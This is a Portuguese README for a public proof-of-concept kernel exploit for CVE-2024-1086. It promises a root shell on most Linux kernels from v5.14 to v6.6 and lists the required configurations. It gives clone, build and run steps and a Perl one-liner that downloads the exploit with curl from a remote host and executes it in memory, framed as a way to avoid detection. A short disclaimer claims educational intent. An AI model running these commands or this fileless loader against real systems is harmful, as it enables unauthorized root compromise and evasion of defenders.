
Exploit universal de escalação de privilégio local para o CVE-2024-1086 visando kernels Linux v5.14 a v6.6. Fornece shell root com taxa de sucesso de 99,4% no KernelCTF. Inclui execução sem arquivos para furtividade.
Exploit de Prova de Conceito para escalonamento universal de privilégios locais para CVE-2024-1086, funcionando na maioria dos kernels Linux entre v5.14 e v6.6, incluindo Debian, Ubuntu e KernelCTF. A taxa de sucesso é de 99,4% nas imagens KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Um artigo completo sobre o exploit - incluindo informações de fundo e muitos diagramas úteis - pode ser encontrado na postagem do blog Flipping Pages.
O exploit afeta versões de (inclusive) v5.14 a (inclusive) v6.6, excluindo branches corrigidas v5.15.149>, v6.1.76>, v6.6.15>. O patch para essas versões foi lançado em fevereiro de 2024. A vulnerabilidade subjacente afeta todas as versões (excluindo branches estáveis corrigidas) de v3.15 a v6.8-rc1.
Ressalvas:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluindo Ubuntu v6.5)CONFIG_USER_NS=y), que esses namespaces de usuário sejam não privilegiados (comando sh sysctl kernel.unprivileged_userns_clone = 1), e que nf_tables esteja habilitado (kconfig CONFIG_NF_TABLES=y). Por padrão, todos estão habilitados no Debian, Ubuntu e KernelCTF. Outras distribuições não foram testadas, mas podem funcionar também. Além disso, o exploit foi testado apenas em x64/amd64.Os valores padrão devem funcionar imediatamente no Debian, Ubuntu e KernelCTF com um shell local. Em configurações/distribuições não testadas, certifique-se de que os valores kconfig correspondam ao kernel alvo. Eles podem ser especificados em src/config.h. Se você estiver executando o exploit em uma máquina com mais de 32 GiB de memória física, certifique-se de aumentar CONFIG_PHYS_MEM.
Se você estiver executando o exploit via SSH (na máquina de teste) ou um reverse shell, pode ser útil alternar CONFIG_REDIRECT_LOG para 1 para evitar atividade de rede desnecessária.
Se isso for impraticável para você, há um binário x64 compilado com a configuração padrão.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binário: CVE-2024-1086/exploit
Executar o exploit é igualmente trivial:
./exploit
A execução sem arquivo também é suportada, em situações de pentest onde detecções precisam ser evitadas. No entanto, o Perl precisa estar instalado no alvo:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Os programas e scripts ("programas") neste diretório/pasta/repositório de software ("repositório") são publicados, desenvolvidos e distribuídos apenas para fins educacionais/de pesquisa. Eu ("o criador") não aprovo qualquer uso malicioso ou ilegal dos programas neste repositório, pois a intenção é compartilhar pesquisa e não realizar atividades ilegais com ele. Não sou legalmente responsável por qualquer coisa que você faça com os programas neste repositório.